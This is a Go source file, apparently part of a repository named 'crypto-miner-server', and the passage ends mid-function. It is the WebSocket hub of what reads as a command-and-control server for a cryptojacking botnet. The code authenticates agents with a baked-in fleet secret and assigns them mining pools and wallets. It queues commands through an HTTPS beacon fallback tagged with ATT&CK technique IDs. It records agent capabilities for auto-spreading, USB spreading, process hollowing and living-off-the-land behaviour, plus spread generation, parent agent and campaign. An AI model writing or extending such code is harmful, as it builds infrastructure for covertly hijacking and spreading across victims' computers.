7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2608 lines
78 KiB
Go
2608 lines
78 KiB
Go
package api
|
|
|
|
import (
|
|
"crypto/subtle"
|
|
"database/sql"
|
|
"encoding/base64"
|
|
"encoding/json"
|
|
"errors"
|
|
"fmt"
|
|
"log"
|
|
"net/http"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/alerts"
|
|
fleetai "crypto-miner-server/internal/ai"
|
|
"crypto-miner-server/internal/atlas"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
"crypto-miner-server/internal/pool"
|
|
"crypto-miner-server/internal/strategy"
|
|
"crypto-miner-server/internal/vuln"
|
|
|
|
"github.com/google/uuid"
|
|
"github.com/gorilla/websocket"
|
|
)
|
|
|
|
// secureStringEqual compares two strings in constant time to prevent timing attacks.
|
|
func secureStringEqual(a, b string) bool {
|
|
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
|
}
|
|
|
|
func coalesceStr(vals ...string) string {
|
|
for _, v := range vals {
|
|
if strings.TrimSpace(v) != "" {
|
|
return strings.TrimSpace(v)
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// resolveDashboardWSUser validates dashboard WS credentials and returns the username.
|
|
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
|
|
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
|
|
func resolveDashboardWSUser(r *http.Request) (string, bool) {
|
|
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
|
|
return consumeWSTicket(ticket)
|
|
}
|
|
token := r.URL.Query().Get("token")
|
|
if token == "" {
|
|
return "", false
|
|
}
|
|
decoded, err := base64.StdEncoding.DecodeString(token)
|
|
if err != nil {
|
|
return "", false
|
|
}
|
|
parts := strings.SplitN(string(decoded), ":", 2)
|
|
if len(parts) != 2 {
|
|
return "", false
|
|
}
|
|
user, pass := parts[0], parts[1]
|
|
if authCacheHit(user, pass) {
|
|
return user, true
|
|
}
|
|
usersMu.RLock()
|
|
stored, exists := authUsers[user]
|
|
usersMu.RUnlock()
|
|
if !exists || !checkPassword(stored, pass) {
|
|
return "", false
|
|
}
|
|
authCacheSet(user, pass)
|
|
return user, true
|
|
}
|
|
|
|
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
|
func checkDashboardWSToken(r *http.Request) bool {
|
|
_, ok := resolveDashboardWSUser(r)
|
|
return ok
|
|
}
|
|
|
|
var upgrader = websocket.Upgrader{
|
|
ReadBufferSize: 512 * 1024,
|
|
WriteBufferSize: 512 * 1024,
|
|
CheckOrigin: func(r *http.Request) bool {
|
|
return true // Allow all origins for local use
|
|
},
|
|
}
|
|
|
|
type Message struct {
|
|
Type string `json:"type"`
|
|
Payload json.RawMessage `json:"payload"`
|
|
}
|
|
|
|
type AgentConnection struct {
|
|
AgentID string
|
|
Conn *websocket.Conn
|
|
mu sync.Mutex
|
|
// Latency tracking — updated each ping/pong cycle.
|
|
latencyMu sync.Mutex
|
|
pingSentAt time.Time
|
|
LatencyMs *int // nil until first pong received
|
|
}
|
|
|
|
func (c *AgentConnection) SendJSON(v interface{}) error {
|
|
c.mu.Lock()
|
|
defer c.mu.Unlock()
|
|
return c.Conn.WriteJSON(v)
|
|
}
|
|
|
|
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
|
|
// broadcastDashboard and the ping loop never race on the same connection.
|
|
type DashboardConn struct {
|
|
Conn *websocket.Conn
|
|
mu sync.Mutex
|
|
Username string
|
|
Page string
|
|
}
|
|
|
|
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
|
|
d.mu.Lock()
|
|
defer d.mu.Unlock()
|
|
return d.Conn.WriteMessage(messageType, data)
|
|
}
|
|
|
|
func (d *DashboardConn) WriteJSON(v interface{}) error {
|
|
d.mu.Lock()
|
|
defer d.mu.Unlock()
|
|
return d.Conn.WriteJSON(v)
|
|
}
|
|
|
|
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
|
|
d.mu.Lock()
|
|
defer d.mu.Unlock()
|
|
return d.Conn.WriteControl(messageType, data, deadline)
|
|
}
|
|
|
|
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
|
type cmdResultKey struct{ AgentID, Action string }
|
|
|
|
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
|
|
type ConnectTaskRunner interface {
|
|
RunConnectTasks(agentID, trigger string)
|
|
}
|
|
|
|
type WSHub struct {
|
|
db *db.Database
|
|
agents map[string]*AgentConnection
|
|
dashboards map[string]*DashboardConn
|
|
poolManager *pool.Manager
|
|
defaultPool pool.Config
|
|
aiHandler *AIHandler
|
|
agentConfigs map[string]AgentForgeConfig
|
|
agentCapabilities map[string]models.AgentCapabilities
|
|
agentLogs map[string]string
|
|
// T1016 DNS drift detection — stores last seen resolver list per agent
|
|
agentDNS map[string][]string
|
|
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
|
agentServiceDiscover map[string]cachedServiceDiscover
|
|
agentLiveTelemetry map[string]map[string]interface{}
|
|
agentInheritedPhenotype map[string]strategy.InheritedPhenotype
|
|
agentSubnet map[string]string
|
|
breedingRegistry *strategy.BreedingRegistry
|
|
serverPolicy ServerPolicy
|
|
adaptiveEngine *strategy.AdaptiveEngine
|
|
failureAtlas *atlas.FailureAtlas
|
|
subnetImmune *atlas.SubnetImmune
|
|
pingIntervalSec int
|
|
fleetSecret string // baked into forged agents; verified on WS connect
|
|
eventNotifier *alerts.Notifier
|
|
connectTasks ConnectTaskRunner
|
|
clearance *ClearanceManager
|
|
mu sync.RWMutex
|
|
|
|
// pendingCmdCallbacks allows handlers to await a specific command_result
|
|
// from an agent (used by Path Tracer orchestration).
|
|
pendingCmdMu sync.Mutex
|
|
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
|
|
|
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
|
|
beaconMu sync.Mutex
|
|
beaconLastSeen map[string]time.Time
|
|
beaconCmdQueue map[string][]BeaconCommand
|
|
beaconPolicyQueue map[string][]FleetAgentPolicy
|
|
|
|
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
|
statsBatchMu sync.Mutex
|
|
statsBatch map[string]json.RawMessage
|
|
statsBatchTimer *time.Timer
|
|
}
|
|
|
|
func NewWSHub(database *db.Database) *WSHub {
|
|
// Reset any rows that were left "online" by a previous server crash/restart.
|
|
// Agents will re-authenticate and flip themselves back to online within seconds.
|
|
if database != nil {
|
|
if err := database.MarkAllAgentsOffline(); err != nil {
|
|
log.Printf("[hub] startup offline reset: %v", err)
|
|
}
|
|
}
|
|
|
|
h := &WSHub{
|
|
db: database,
|
|
agents: make(map[string]*AgentConnection),
|
|
dashboards: make(map[string]*DashboardConn),
|
|
agentConfigs: make(map[string]AgentForgeConfig),
|
|
agentCapabilities: make(map[string]models.AgentCapabilities),
|
|
agentLogs: make(map[string]string),
|
|
agentDNS: make(map[string][]string),
|
|
agentServiceDiscover: make(map[string]cachedServiceDiscover),
|
|
agentLiveTelemetry: make(map[string]map[string]interface{}),
|
|
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
|
|
agentSubnet: make(map[string]string),
|
|
breedingRegistry: strategy.NewBreedingRegistry(),
|
|
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
|
beaconLastSeen: make(map[string]time.Time),
|
|
beaconCmdQueue: make(map[string][]BeaconCommand),
|
|
beaconPolicyQueue: make(map[string][]FleetAgentPolicy),
|
|
pingIntervalSec: 30,
|
|
}
|
|
h.clearance = NewClearanceManager(h)
|
|
|
|
// Background stale-agent sweep:
|
|
// 3 minutes old but the row still says "online", force it offline.
|
|
// This catches TCP half-open drops that slip past the ping/pong timeout.
|
|
go h.runStaleAgentSweep()
|
|
go h.runWarRoomBroadcast()
|
|
|
|
return h
|
|
}
|
|
|
|
// runStaleAgentSweep periodically marks online agents offline when their
|
|
// last_seen timestamp is stale (> 3 minutes without a stats message).
|
|
// It also notifies the dashboard so client state stays in sync.
|
|
func (h *WSHub) runStaleAgentSweep() {
|
|
if h.db == nil {
|
|
return
|
|
}
|
|
const staleness = 3 * time.Minute
|
|
ticker := time.NewTicker(45 * time.Second)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
// Only sweep agents that are NOT currently connected in memory.
|
|
// If a live WS exists, let normal disconnect handling do its job.
|
|
h.mu.RLock()
|
|
liveIDs := make(map[string]bool, len(h.agents))
|
|
for id := range h.agents {
|
|
liveIDs[id] = true
|
|
}
|
|
h.mu.RUnlock()
|
|
|
|
agents, err := h.db.ListAgents()
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, a := range agents {
|
|
if a == nil || a.Status != "online" || liveIDs[a.ID] {
|
|
continue
|
|
}
|
|
if time.Since(a.LastSeen) < staleness {
|
|
continue
|
|
}
|
|
// Row claims online, no live socket, last_seen is stale — fix it.
|
|
_ = h.db.SetAgentOffline(a.ID)
|
|
h.broadcastDashboard(Message{
|
|
Type: "agent_offline",
|
|
Payload: mustMarshal(map[string]string{"agent_id": a.ID}),
|
|
})
|
|
log.Printf("[hub] stale-sweep marked agent %s offline (last_seen %s ago)",
|
|
a.ID, time.Since(a.LastSeen).Round(time.Second))
|
|
}
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) SetServerPolicy(p ServerPolicy) {
|
|
h.mu.Lock()
|
|
h.serverPolicy = p
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
// SetAdaptiveEngine wires the fleet learning engine and starts background rescoring.
|
|
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
|
|
h.mu.Lock()
|
|
h.adaptiveEngine = e
|
|
h.mu.Unlock()
|
|
if e != nil {
|
|
go h.runAdaptiveStrategyLoop()
|
|
}
|
|
}
|
|
|
|
// SetFailureAtlas wires negative-space mining pattern learning.
|
|
func (h *WSHub) SetFailureAtlas(a *atlas.FailureAtlas) {
|
|
h.mu.Lock()
|
|
h.failureAtlas = a
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) runAdaptiveStrategyLoop() {
|
|
ticker := time.NewTicker(strategy.RescoreInterval)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
h.mu.RLock()
|
|
engine := h.adaptiveEngine
|
|
h.mu.RUnlock()
|
|
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
|
|
continue
|
|
}
|
|
if _, err := engine.RecomputeAll(); err != nil {
|
|
log.Printf("[strategy] background rescore: %v", err)
|
|
}
|
|
h.PushAdaptiveStrategyUpdates()
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) SetPingInterval(seconds int) {
|
|
if seconds < 10 {
|
|
seconds = 30
|
|
}
|
|
h.mu.Lock()
|
|
h.pingIntervalSec = seconds
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
// SetFleetSecret stores the shared secret that all forged agents must present.
|
|
// Called once at startup from main.go after config is loaded.
|
|
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
|
|
h.mu.Lock()
|
|
h.eventNotifier = n
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) SetFleetSecret(secret string) {
|
|
h.mu.Lock()
|
|
h.fleetSecret = secret
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
|
|
h.mu.Lock()
|
|
h.connectTasks = r
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) ConnectedAgentIDs() []string {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
ids := make([]string, 0, len(h.agents))
|
|
for id := range h.agents {
|
|
ids = append(ids, id)
|
|
}
|
|
return ids
|
|
}
|
|
|
|
func (h *WSHub) pingInterval() time.Duration {
|
|
h.mu.RLock()
|
|
sec := h.pingIntervalSec
|
|
h.mu.RUnlock()
|
|
if sec < 10 {
|
|
sec = 30
|
|
}
|
|
return time.Duration(sec) * time.Second
|
|
}
|
|
|
|
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
|
|
interval := h.pingInterval()
|
|
ticker := time.NewTicker(interval)
|
|
defer ticker.Stop()
|
|
|
|
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
|
|
conn.SetPongHandler(func(string) error {
|
|
return conn.SetReadDeadline(time.Now().Add(interval * 2))
|
|
})
|
|
|
|
for range ticker.C {
|
|
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
|
return
|
|
}
|
|
}
|
|
}
|
|
|
|
// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong.
|
|
func (h *WSHub) runPingLoopAgent(ac *AgentConnection) {
|
|
interval := h.pingInterval()
|
|
ticker := time.NewTicker(interval)
|
|
defer ticker.Stop()
|
|
|
|
conn := ac.Conn
|
|
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
|
|
conn.SetPongHandler(func(string) error {
|
|
// Measure RTT.
|
|
ac.latencyMu.Lock()
|
|
if !ac.pingSentAt.IsZero() {
|
|
ms := int(time.Since(ac.pingSentAt).Milliseconds())
|
|
ac.LatencyMs = &ms
|
|
}
|
|
ac.latencyMu.Unlock()
|
|
return conn.SetReadDeadline(time.Now().Add(interval * 2))
|
|
})
|
|
|
|
for range ticker.C {
|
|
ac.latencyMu.Lock()
|
|
ac.pingSentAt = time.Now()
|
|
ac.latencyMu.Unlock()
|
|
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
|
// Close so the read loop wakes up and deferred cleanup fires immediately.
|
|
_ = conn.Close()
|
|
return
|
|
}
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
|
interval := h.pingInterval()
|
|
ticker := time.NewTicker(interval)
|
|
defer ticker.Stop()
|
|
|
|
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
|
dc.Conn.SetPongHandler(func(string) error {
|
|
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
|
})
|
|
|
|
for range ticker.C {
|
|
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
|
return
|
|
}
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
return h.serverPolicy
|
|
}
|
|
|
|
func (h *WSHub) connectedAgentCount() int {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
return len(h.agents)
|
|
}
|
|
|
|
// AwaitCommandResult registers a one-shot channel that will receive the next
|
|
// command_result payload for the given agentID+action pair. Call before
|
|
// sending the command so no result is missed. The caller must read from the
|
|
// returned channel within the given timeout.
|
|
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
|
|
ch := make(chan map[string]interface{}, 1)
|
|
h.pendingCmdMu.Lock()
|
|
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
|
|
h.pendingCmdMu.Unlock()
|
|
return ch
|
|
}
|
|
|
|
// CancelAwait removes a pending callback without consuming it.
|
|
func (h *WSHub) CancelAwait(agentID, action string) {
|
|
h.pendingCmdMu.Lock()
|
|
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
|
h.pendingCmdMu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
|
|
h.pendingCmdMu.Lock()
|
|
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
|
|
if ok {
|
|
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
|
}
|
|
h.pendingCmdMu.Unlock()
|
|
if ok {
|
|
// Blocking send — Path Tracer and other orchestrators must not drop results.
|
|
ch <- payload
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) isAgentConnected(agentID string) bool {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
_, ok := h.agents[agentID]
|
|
return ok
|
|
}
|
|
|
|
// writeAgentJSON sends a message to a connected agent using the per-connection
|
|
// write mutex. All post-auth outbound JSON must use this — never conn.WriteJSON
|
|
// from the read loop, or commands and new_job messages can corrupt each other.
|
|
//
|
|
// On any write error the underlying connection is closed immediately so the
|
|
// read loop's ReadMessage call returns an error, triggering the deferred
|
|
// cleanup (SetAgentOffline + agent_offline broadcast) without waiting the full
|
|
// 90-second read deadline.
|
|
func (h *WSHub) writeAgentJSON(agentID string, msg Message) error {
|
|
ac := h.getAgentConn(agentID)
|
|
if ac == nil {
|
|
return fmt.Errorf("agent %s not connected", agentID)
|
|
}
|
|
if err := ac.SendJSON(msg); err != nil {
|
|
// Closing the socket causes ReadMessage to fail immediately, which lets
|
|
// the HandleAgentWS defer run cleanup instead of waiting up to 90s.
|
|
_ = ac.Conn.Close()
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
|
|
h.mu.Lock()
|
|
h.poolManager = manager
|
|
h.defaultPool = defaultCfg
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) SetAIHandler(ai *AIHandler) {
|
|
h.mu.Lock()
|
|
h.aiHandler = ai
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
cfg := h.agentConfigs[agentID]
|
|
poolCfg := pool.Config{
|
|
Host: cfg.poolHostOrDefault(h.defaultPool.Host),
|
|
Port: cfg.poolPortOrDefault(h.defaultPool.Port),
|
|
Wallet: cfg.Wallet,
|
|
}
|
|
if cfg.PoolHost == "" {
|
|
poolCfg.UseTLS = h.defaultPool.UseTLS
|
|
} else {
|
|
poolCfg.UseTLS = cfg.PoolTLS
|
|
}
|
|
if cfg.PoolPass != "" {
|
|
poolCfg.Password = cfg.PoolPass
|
|
} else if h.defaultPool.Password != "" {
|
|
poolCfg.Password = h.defaultPool.Password
|
|
} else {
|
|
poolCfg.Password = "x"
|
|
}
|
|
if poolCfg.Wallet == "" {
|
|
poolCfg.Wallet = h.defaultPool.Wallet
|
|
}
|
|
// Always carry the payment ID from the server-wide default (agents don't
|
|
// supply their own payment ID).
|
|
poolCfg.PaymentID = h.defaultPool.PaymentID
|
|
return poolCfg
|
|
}
|
|
|
|
func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
return h.agents[agentID]
|
|
}
|
|
|
|
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|
clientIP := r.Header.Get("X-Forwarded-For")
|
|
if clientIP == "" {
|
|
clientIP = r.RemoteAddr
|
|
}
|
|
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
|
clientIP = clientIP[:idx]
|
|
}
|
|
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
|
|
if !allowAgentWSUpgrade(clientIP) {
|
|
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
|
|
log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
|
|
return
|
|
}
|
|
conn, err := upgrader.Upgrade(w, r, nil)
|
|
if err != nil {
|
|
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
|
|
return
|
|
}
|
|
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
|
|
_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))
|
|
|
|
agentID := ""
|
|
defer func() {
|
|
if agentID != "" {
|
|
h.mu.Lock()
|
|
cur := h.agents[agentID]
|
|
// Only tear down fleet state if this connection is still the active one.
|
|
if cur != nil && cur.Conn == conn {
|
|
delete(h.agents, agentID)
|
|
delete(h.agentConfigs, agentID)
|
|
delete(h.agentLogs, agentID)
|
|
delete(h.agentSubnet, agentID)
|
|
h.mu.Unlock()
|
|
if h.aiHandler != nil {
|
|
h.aiHandler.RemoveEngine(agentID)
|
|
}
|
|
if h.clearance != nil {
|
|
h.clearance.RemoveAgent(agentID)
|
|
}
|
|
if err := h.db.SetAgentOffline(agentID); err != nil {
|
|
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
|
|
}
|
|
h.broadcastDashboard(Message{
|
|
Type: "agent_offline",
|
|
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
|
})
|
|
} else {
|
|
h.mu.Unlock()
|
|
}
|
|
}
|
|
conn.Close()
|
|
}()
|
|
|
|
for {
|
|
_, msgBytes, err := conn.ReadMessage()
|
|
if err != nil {
|
|
log.Printf("Agent read error: %v", err)
|
|
break
|
|
}
|
|
|
|
var msg Message
|
|
if err := json.Unmarshal(msgBytes, &msg); err != nil {
|
|
log.Printf("Invalid message from agent: %v", err)
|
|
continue
|
|
}
|
|
|
|
switch msg.Type {
|
|
case "auth":
|
|
var auth struct {
|
|
AgentID string `json:"agent_id"`
|
|
FleetSecret string `json:"fleet_secret"`
|
|
Wallet string `json:"wallet"`
|
|
BackupPools []struct {
|
|
Host string `json:"host"`
|
|
Port int `json:"port"`
|
|
TLS bool `json:"pool_tls"`
|
|
Pass string `json:"pass"`
|
|
} `json:"backup_pools"`
|
|
Version string `json:"version"`
|
|
Hostname string `json:"hostname"`
|
|
Worker string `json:"worker"`
|
|
WorkerName string `json:"worker_name"`
|
|
CPUCores int `json:"cpu_cores"`
|
|
MemoryGB int `json:"memory_gb"`
|
|
PoolHost string `json:"pool_host"`
|
|
PoolPort int `json:"pool_port"`
|
|
PoolTLS bool `json:"pool_tls"`
|
|
PoolPass string `json:"pool_pass"`
|
|
AIEnabled bool `json:"ai_enabled"`
|
|
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
|
AIModel string `json:"ai_model"`
|
|
HolePunch bool `json:"hole_punch"`
|
|
RemoteAggressive bool `json:"remote_aggressive"`
|
|
MeshP2P bool `json:"mesh_p2p"`
|
|
AutoSpread bool `json:"auto_spread"`
|
|
ProcessHollowing bool `json:"process_hollowing"`
|
|
Platform string `json:"platform"`
|
|
Arch string `json:"arch"`
|
|
OSVersion string `json:"os_version"`
|
|
MacAddress string `json:"mac_address,omitempty"`
|
|
BuildID string `json:"build_id"`
|
|
USBSpread bool `json:"usb_spread"`
|
|
Campaign string `json:"campaign"`
|
|
UTM string `json:"utm"`
|
|
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
|
SpreadGeneration int `json:"spread_generation,omitempty"`
|
|
SpreadStrain string `json:"spread_strain,omitempty"`
|
|
FleetRole string `json:"fleet_role,omitempty"`
|
|
SeederMode bool `json:"seeder_mode,omitempty"`
|
|
}
|
|
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
|
"success": false, "error": "invalid auth payload",
|
|
})})
|
|
continue
|
|
}
|
|
|
|
// Verify fleet secret. If the server has one configured, the agent must match.
|
|
h.mu.RLock()
|
|
requiredSecret := h.fleetSecret
|
|
h.mu.RUnlock()
|
|
log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret)
|
|
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
|
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
|
"success": false, "error": "invalid fleet secret — re-forge this agent",
|
|
})})
|
|
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
|
|
return
|
|
}
|
|
|
|
agentID = auth.AgentID
|
|
if agentID == "" {
|
|
// Try to match an existing agent by MAC address so a re-installed
|
|
// agent reuses its DB record instead of creating a ghost entry.
|
|
if auth.MacAddress != "" {
|
|
if existingID, err := h.db.FindAgentByMAC(auth.MacAddress); err == nil && existingID != "" {
|
|
agentID = existingID
|
|
log.Printf("[WS] Matched agent by MAC %s → reusing id=%s", auth.MacAddress, agentID)
|
|
}
|
|
}
|
|
if agentID == "" {
|
|
agentID = uuid.New().String()
|
|
}
|
|
}
|
|
|
|
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
|
|
|
|
policy := h.serverPolicySnapshot()
|
|
|
|
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
|
|
for i, bp := range auth.BackupPools {
|
|
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
|
}
|
|
|
|
forgeCfg := AgentForgeConfig{
|
|
Wallet: auth.Wallet,
|
|
PoolHost: auth.PoolHost,
|
|
PoolPort: auth.PoolPort,
|
|
PoolTLS: auth.PoolTLS,
|
|
PoolPass: auth.PoolPass,
|
|
AIEnabled: auth.AIEnabled,
|
|
AIOllamaEndpoint: auth.AIOllamaEndpoint,
|
|
AIModel: auth.AIModel,
|
|
BackupPools: backupPools,
|
|
}
|
|
|
|
caps := models.AgentCapabilities{
|
|
HolePunch: auth.HolePunch,
|
|
RemoteAggressive: auth.RemoteAggressive,
|
|
MeshP2P: auth.MeshP2P,
|
|
AutoSpread: auth.AutoSpread,
|
|
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
|
AIEnabled: auth.AIEnabled,
|
|
USBSpread: auth.USBSpread,
|
|
}
|
|
|
|
h.mu.Lock()
|
|
h.agentConfigs[agentID] = forgeCfg
|
|
h.agentCapabilities[agentID] = caps
|
|
h.mu.Unlock()
|
|
|
|
if h.poolManager != nil {
|
|
poolCfg := h.agentPoolConfig(agentID)
|
|
if poolCfg.Password == "" {
|
|
poolCfg.Password = "x"
|
|
}
|
|
|
|
// Build backup pool.Config list from what the agent sent at auth.
|
|
var backupCfgs []pool.Config
|
|
for _, bp := range backupPools {
|
|
if bp.Host == "" || bp.Port <= 0 {
|
|
continue
|
|
}
|
|
bpc := pool.Config{
|
|
Host: bp.Host,
|
|
Port: bp.Port,
|
|
UseTLS: bp.TLS,
|
|
Wallet: poolCfg.Wallet,
|
|
}
|
|
if bp.Pass != "" {
|
|
bpc.Password = bp.Pass
|
|
} else {
|
|
bpc.Password = poolCfg.Password
|
|
}
|
|
backupCfgs = append(backupCfgs, bpc)
|
|
}
|
|
|
|
// Connect to pool in background — do NOT block the auth_response.
|
|
// Once the pool is ready, push the current job so the agent starts
|
|
// mining immediately instead of waiting for a get_job retry cycle.
|
|
go func(pc pool.Config, bcs []pool.Config, aid string) {
|
|
proxy, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs)
|
|
if err != nil {
|
|
log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err)
|
|
return
|
|
}
|
|
if job := proxy.GetCurrentJob(); job != nil {
|
|
if wErr := h.writeAgentJSON(aid, Message{Type: "new_job", Payload: mustMarshal(job)}); wErr != nil {
|
|
log.Printf("[WS] Push initial job to agent %s: %v", aid, wErr)
|
|
}
|
|
}
|
|
}(poolCfg, backupCfgs, agentID)
|
|
}
|
|
|
|
if h.aiHandler != nil && forgeCfg.AIEnabled {
|
|
h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
|
|
}
|
|
|
|
clientIP := r.Header.Get("X-Forwarded-For")
|
|
if clientIP == "" {
|
|
clientIP = r.RemoteAddr
|
|
}
|
|
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
|
clientIP = clientIP[:idx]
|
|
}
|
|
|
|
prior, priorErr := h.db.GetAgent(agentID)
|
|
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
|
|
|
workerName := auth.WorkerName
|
|
if workerName == "" {
|
|
workerName = auth.Worker
|
|
}
|
|
|
|
agent := &models.Agent{
|
|
ID: agentID,
|
|
Name: displayName,
|
|
Wallet: auth.Wallet,
|
|
IP: clientIP,
|
|
Version: auth.Version,
|
|
Status: "online",
|
|
CPUCores: auth.CPUCores,
|
|
MemoryGB: auth.MemoryGB,
|
|
LastSeen: time.Now(),
|
|
Platform: auth.Platform,
|
|
Arch: auth.Arch,
|
|
OSVersion: auth.OSVersion,
|
|
Hostname: auth.Hostname,
|
|
MacAddress: auth.MacAddress,
|
|
BuildID: auth.BuildID,
|
|
WorkerName: workerName,
|
|
USBSpread: auth.USBSpread,
|
|
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
|
JoinLane: strings.TrimSpace(auth.JoinLane),
|
|
ParentAgentID: strings.TrimSpace(auth.ParentAgentID),
|
|
SpreadGeneration: auth.SpreadGeneration,
|
|
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
|
|
Capabilities: &caps,
|
|
}
|
|
|
|
if err := h.db.UpsertAgent(agent); err != nil {
|
|
log.Printf("Failed to upsert agent: %v", err)
|
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
|
"success": false, "error": "database error",
|
|
})})
|
|
break
|
|
}
|
|
|
|
if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
|
|
_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
|
|
}
|
|
|
|
if policy.LogAgentConnections {
|
|
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
|
}
|
|
|
|
